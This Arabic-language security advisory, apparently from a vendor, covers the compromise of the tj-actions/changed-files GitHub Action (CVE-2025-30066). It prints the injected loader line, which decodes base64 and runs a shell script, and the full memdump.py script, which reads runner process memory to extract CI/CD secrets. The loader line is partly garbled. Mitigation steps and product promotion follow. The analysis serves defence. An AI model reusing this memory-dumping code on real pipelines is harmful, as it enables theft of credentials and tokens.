في 14 مارس 2025، اكتشف باحثو الأمن ثغرة أمنية خطيرة في سلسلة توريد البرامج في GitHub Action المستخدم على نطاق واسع tj-actions/changed-files (CVE-2025-30066). تسمح هذه الثغرة الأمنية للمهاجمين عن بعد بكشف أسرار CI/CD عبر سجلات إنشاء الإجراء. تؤثر المشكلة على المستخدمين الذين يعتمدون على tj-actions/changed-files الإجراء في سير عمل GitHub لتتبع الملفات التي تم تغييرها ضمن طلب السحب.
نظرًا للإجراء الذي تم اختراقه، يتم تسجيل أسرار CI/CD الحساسة عن غير قصد في سجلات إنشاء GitHub Actions. إذا كان من الممكن الوصول إلى هذه السجلات بشكل عام، كما هو الحال في المستودعات العامة، فيمكن للمستخدمين غير المصرح لهم الوصول إلى أسرار النص الواضح واستردادها. ومع ذلك، لا يوجد أي دليل يشير إلى أن الأسرار المكشوفة قد تم نقلها إلى أي شبكة خارجية.
الخلفية: فهم إجراءات tj/الملفات المتغيرة
ال tj-actions/changed-files يتم استخدام الإجراء على نطاق واسع في سير عمل GitHub CI/CD لاكتشاف تغييرات الملفات بكفاءة ضمن طلبات السحب، وتبسيط عمليات التطوير عن طريق تشغيل الإجراءات بشكل مشروط بناءً على الملفات المعدلة. ومع وجود أكثر من 23000 مستودع نشط وأكثر من مليون عملية تنزيل شهرية، فإن اعتمادها على نطاق واسع يجعل هذا الحل الوسط مؤثرًا بشكل خاص، مما يعرض العديد من المؤسسات لهجمات سلسلة التوريد المحتملة.
التفاصيل الفنية حول إجراءات GitHub tj-actions
وفقًا للتقرير الأولي الصادر عن StepSecurity، تم اكتشاف هذه الحادثة لأول مرة في الساعة 4 مساءً بالتوقيت العالمي المنسق في 14 مارس 2025، وتم عزلها بحلول الساعة 10:30 صباحًا بالتوقيت العالمي المنسق في 15 مارس 2025. لكننا ما زلنا ننصح بشدة بتجنب استخدام هذا الإجراء حتى يتم حل هذه المشكلة بشكل كامل.
يتضمن التحقيق الأولي ارتكابًا ضارًا (hash:0e58ed8671d6b60d0890c21b07f8835ace038e67)، والتسوية بأثر رجعي لإصدارات متعددة، وربما جميع الإصدارات.
أدخل المهاجمون تعليمات برمجية JavaScript ضارة مباشرة إلى ملف dist/index.js ملف المتضررين tj-actions/changed-files مستودع.
async function updateFeatures(token) base64 -d > /tmp/run.sh && bash /tmp/run.sh`], 1Has a conversation. Original line has a conversation.
ignoreReturnCode: true,
silent: true
);
core.info(stdout);
يتم تنفيذ البرنامج النصي الذي تم إدخاله أثناء تشغيل سير العمل، وتسجيل متغيرات البيئة والأسرار الحساسة بصمت (على سبيل المثال، الرموز المميزة لواجهة برمجة التطبيقات، ومفاتيح الوصول) مباشرة في سجلات إنشاء GitHub Actions.
تم إخفاء الحمولة الضارة بعناية، وتم تشفيرها مرتين باستخدام base64مما يجعل الاكتشاف اليدوي صعبًا بدون أدوات الفحص الأمني الآلي. عند التنفيذ، أدت الحمولة التي تم فك تشفيرها إلى تشغيل برنامج Python النصي المسمى memdump.py. أدناه يمكنك رؤية محتوى البرنامج النصي بايثون.
#!/usr/bin/env python3
...
def get_pid():
# https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
if b'Runner.Worker' in cmdline_f.read():
return pid
raise Exception('Can not get pid of Runner.Worker')
if __name__ == "__main__":
pid = get_pid()
print(pid)
map_path = f"/proc/pid/maps"
mem_path = f"/proc/pid/mem"
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
for line in map_f.readlines(): # for each mapped region
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
if m.group(3) == 'r': # readable region
start = int(m.group(1), 16)
end = int(m.group(2), 16)
# hotfix: OverflowError: Python int too large to convert to C long
# 18446744073699065856
if start > sys.maxsize:
continue
mem_f.seek(start) # seek to region start
try:
chunk = mem_f.read(end - start) # read region contents
sys.stdout.buffer.write(chunk)
except OSError:
continue
كما ترون في البرنامج النصي، فهو يقرأ البيانات من الذاكرة، ويبحث عن إجراء GitHub JSON. لقد صممنا نموذج json وقمنا بتشغيل الحمولة في بيئة اختبار.
"API_KEY":
"value": "123ABC456DEF",
"isSecret": true
,
"DB_PASSWORD":
"value": "my_secure_password",
"isSecret": true
,
"ACCESS_TOKEN":
"value": "token_987654",
"isSecret": true
أدناه يمكنك رؤية تفريغ الذاكرة للسر المستخرج.
│00005010│ 00 00 00 00 00 00 00 00 ┊ 00 00 00 00 00 00 00 00 │00000000┊00000000│ │* │ ┊ │ ┊ │ │00005290│ 00 00 00 00 00 00 00 00 ┊ d1 00 00 00 00 00 00 00 │00000000┊×0000000│ │000052a0│ 7b 0a 20 20 20 20 22 41 ┊ 50 49 5f 4b 45 59 22 3a │_ "A┊PI_KEY":│ │000052b0│ 20 7b 22 76 61 6c 75 65 ┊ 22 3a 20 22 31 32 33 41 │ "value┊": "123A│ │000052c0│ 42 43 34 35 36 44 45 46 ┊ 22 2c 20 22 69 73 53 65 │BC456DEF┊", "isSe│ │000052d0│ 63 72 65 74 22 3a 20 74 ┊ 72 75 65 7d 2c 0a 20 20 │cret": t┊rue,_ │ │000052e0│ 20 20 22 44 42 5f 50 41 ┊ 53 53 57 4f 52 44 22 3a │ "DB_PA┊SSWORD":│ │000052f0│ 20 7b 22 76 61 6c 75 65 ┊ 22 3a 20 22 6d 79 5f 73 │ "value┊": "my_s│ │00005300│ 65 63 75 72 65 5f 70 61 ┊ 73 73 77 6f 72 64 22 2c │ecure_pa┊ssword",│ │00005310│ 20 22 69 73 53 65 63 72 ┊ 65 74 22 3a 20 74 72 75 │ "isSecr┊et": tru│ │00005320│ 65 7d 2c 0a 20 20 20 20 ┊ 22 41 43 43 45 53 53 5f │e,_ ┊"ACCESS_│ │00005330│ 54 4f 4b 45 4e 22 3a 20 ┊ 7b 22 76 61 6c 75 65 22 │TOKEN": ┊"value"│ │00005340│ 3a 20 22 74 6f 6b 65 6e ┊ 5f 39 38 37 36 35 34 22 │: "token┊_987654"│ │00005350│ 2c 20 22 69 73 53 65 63 ┊ 72 65 74 22 3a 20 74 72 │, "isSec┊ret": tr│ │00005360│ 75 65 7d 0a 7d 00 00 00 ┊ 11 04 00 00 00 00 00 00 │ue_000┊••000000│ │00005370│ 53 6c 65 65 70 69 6e 67 ┊ 20 66 6f 72 20 31 30 30 │Sleeping┊ for 100│ │00005380│ 20 73 65 63 6f 6e 64 73 ┊ 2e 2e 2e 0a 31 32 33 41 │ seconds┊..._123A│ │00005390│ 42 43 34 35 36 44 45 46 ┊ 22 2c 20 22 69 73 53 65 │BC456DEF┊", "isSe│ │000053a0│ 63 72 65 74 22 3a 20 74 ┊ 72 75 65 7d 2c 0a 20 20 │cret": t┊rue},_ │ │000053b0│ 20 20 22 44 42 5f 50 41 ┊ 53 53 57 4f 52 44 22 3a │ "DB_PA┊SSWORD":│ │000053c0│ 20 7b 22 76 61 6c 75 65 ┊ 22 3a 20 22 6d 79 5f 73 │ "value┊": "my_s│ │000053d0│ 65 63 75 72 65 5f 70 61 ┊ 73 73 77 6f 72 64 22 2c │ecure_pa┊ssword",│ │000053e0│ 20 22 69 73 53 65 63 72 ┊ 65 74 22 3a 20 74 72 75 │ "isSecr┊et": tru│ │000053f0│ 65 7d 2c 0a 20 20 20 20 ┊ 22 41 43 43 45 53 53 5f │e,_ ┊"ACCESS_│ │00005400│ 54 4f 4b 45 4e 22 3a 20 ┊ 7b 22 76 61 6c 75 65 22 │TOKEN": ┊"value"│ │00005410│ 3a 20 22 74 6f 6b 65 6e ┊ 5f 39 38 37 36 35 34 22 │: "token┊_987654"│ │00005420│ 2c 20 22 69 73 53 65 63 ┊ 72 65 74 22 3a 20 74 72 │, "isSec┊ret": tr│ │00005430│ 75 65 7d 0a 00 00 00 00 ┊ 00 00 00 00 00 00 00 00 │ue_0000┊00000000│ │00005440│ 00 00 00 00 00 00 00 00 ┊ 00 00 00 00 00 00 00 00 │00000000┊00000000│ │* │ ┊ │ ┊ │ │00005770│ 00 00 00 00 00 00 00 00 ┊ 91 08 02 00 00 00 00 00 │00000000┊ו•00000│ │00005780│ 00 00 00 00 00 00 00 00 ┊ 00 00 00 00 00 00 00 00 │00000000┊00000000│
قام هذا البرنامج النصي بتعداد وإلقاء جميع متغيرات البيئة المتاحة والبيانات الحساسة بشكل منهجي في سجلات GitHub Action، مما يزيد بشكل كبير من خطر التعرض السري.
كيفية التحقق مما إذا كنت متأثرًا
يؤثر هذا الحادث على إجراءات GitHub التي تم تشغيلها في 14 مارس، والتي كانت تستخدم الإجراء الضار.
أفضل طريقة لمعرفة ما إذا كنت متأثرًا هي الاطلاع على مخرجات الإجراء اعتبارًا من 14 مارس، ضمن قسم الملفات التي تم تغييرها، وإذا كانت هناك سلسلة طويلة، فقم بفك تشفيرها باستخدام echo 'xxx' | base64 -d | base64 -d، وقم بإلغاء تلك الرموز المميزة على الفور.
إذا لم تكن متأكدًا من أنك تستخدم إجراء GitHub هذا، فيمكنك القيام بما يلي:
- قم بمراجعة سير عمل GitHub، وابحث عن
uses: tj-actions/changed-files@<version> - وبدلاً من ذلك، يمكنك أيضًا الاطلاع على نتائج هذا الاستعلام، واستبدالها
<ORG>باستخدام اسم مؤسسة GitHub الخاصة بك:https://github.com/search?q=org%3A<ORG>+uses%3A+tj-actions%2F&type=code
تشير النتائج الحالية إلى أن جميع الإصدارات ذات العلامات تقريبًا من ملفات tj-actions/changed قد تم اختراقها، مما أدى إلى الوصول المباشر إلى الحاويات قيد التشغيل وذاكرة الأجهزة الافتراضية، مما يسمح باستخراج الأسرار والمعلومات والتعليمات البرمجية الحساسة.
الخطوات التالية الفورية
إذا كانت سير عملك تستخدم الإصدار المخترق من tj-actions/changed-files:
- إزالة أو العودة على الفور إلى إصدار آمن معروف قبل التسوية.
- تدوير جميع الأسرار والرموز المكشوفة ضمن سير العمل أو البيئات المتأثرة.
- بيئات تشغيل التدقيق للأنشطة المشبوهة أو الاتصالات الخارجية.
- مراقبة السجلات عن كثب عن أي محاولات وصول غير مصرح بها أو أنشطة غير عادية.
- تنفيذ تدابير أمنية معززة، بما في ذلك عمليات التحقق من الصحة وأدوات الفحص الأمني، لتحديد التهديدات المستقبلية والتخفيف منها على الفور.
ويوصي خبراء أكوا سيكرويتي باعتماد أفضل الممارسات، بما في ذلك:
نصيحة للمحترفين
أفضل الممارسات لأمن سلسلة توريد البرمجيات
- تثبيت إصدارات إجراءات محددة وتم التحقق منها بدلاً من استخدام العلامات العائمة مثل
@masterأو@latest. - فحص التبعية المنتظم وتقييمات الضعف.
- مراقبة أمنية محسنة باستخدام أدوات مصممة خصيصًا لاكتشاف اختراقات سلسلة توريد البرامج.
تحدث إلى خبير أمني
كيف يساعد أكوا سيكيوريتي
لتعزيز أمان سير عمل CI/CD الخاص بك وتجنب الثغرات الأمنية مثل هذه، نوصي بفرض ممارسة تثبيت الالتزامات ضمن سياسات أمان Aqua.
تضمن الهجوم الأخير تعديل علامات الإصدار (على سبيل المثال، v35، v44.5.1) للإشارة إلى الالتزامات الضارة، مما يسمح بتنفيذ التعليمات البرمجية المخترقة تلقائيًا في سير العمل. كان من الممكن التخفيف من هذه المشكلة عن طريق تثبيت إصدارات الإجراءات على التزام محدد SHAs، مما يضمن استخدام إصدارات الإجراءات الموثوقة والتي تم التحقق منها فقط.
ننصحك بشدة باعتماد آليات التحكم في CI/CD مثل Aqua التي تفرض التثبيت على التزام معروف وجيد SHA لجميع سير العمل. على سبيل المثال، يجب أن تشير مسارات العمل إلى إجراءات مثل tj-actions/changed-files@0a1b2c3d4e5f6g7h8i9j0k، والذي يشير إلى التزام محدد، بدلاً من استخدام علامة إصدار قابلة للتغيير مثل tj-actions/changed-files@v35. من خلال التثبيت بالتزامات محددة، يمكن لـ Aqua Security التأكد من أن سير العمل لن يجذب تحديثات ضارة عن غير قصد إذا تم تغيير علامة الإصدار.
ستساعد هذه السياسة في منع التحديثات التلقائية لسير العمل التي قد تؤدي إلى مخاطر أمنية وتوفر تحكمًا أكبر في التعليمات البرمجية التي يتم تنفيذها في مسارات CI/CD.
بالإضافة إلى ذلك، يمكنك أيضًا الاستفادة من الحماية المتقدمة من البرامج الضارة (AMP) من Aqua في مسارات CI/CD الخاصة بك. كما هو موضح في الشكل 1 أدناه، عند تشغيل هذا السيناريو، يتم اكتشاف البرامج الضارة بواسطة AMP الخاص بـ Aqua.
الشكل 1: تم اكتشاف البرنامج النصي memdump.py بواسطة AMP الخاص بـ Aqua باعتباره برنامجًا ضارًا
من خلال الانتقال إلى صفحة “الحوادث”، يمكنك معرفة المزيد حول تسلسل الأحداث التي أدت إلى اكتشاف البرامج الضارة.
الشكل 2: صفحة الحوادث التي تحتوي على مزيد من التفاصيل حول اكتشاف البرامج الضارة
كما هو موضح في الجدول الزمني لحوادث Aqua، يمكنك تحليل الجدول الزمني قبل وبعد اكتشاف البرامج الضارة، ويمكنك استكشاف بيانات الطب الشرعي حول الأحداث التي سبقت اكتشاف البرامج الضارة. على سبيل المثال، يشير استخدام wget/curl إلى أنه تم تنزيل ملف memdump.py من مصدر بعيد، وتظهر أحداث أخرى أن الملف الذي تم تنزيله كان في الواقع نصًا تم إسقاطه أثناء الإنشاء ويمكنك أيضًا رؤية استخدام فك تشفير base64.
لمزيد من المعلومات أو المساعدة في تأمين بيئات السحابة الأصلية وبيئات CI/CD، تواصل مع فريق Aqua Security.
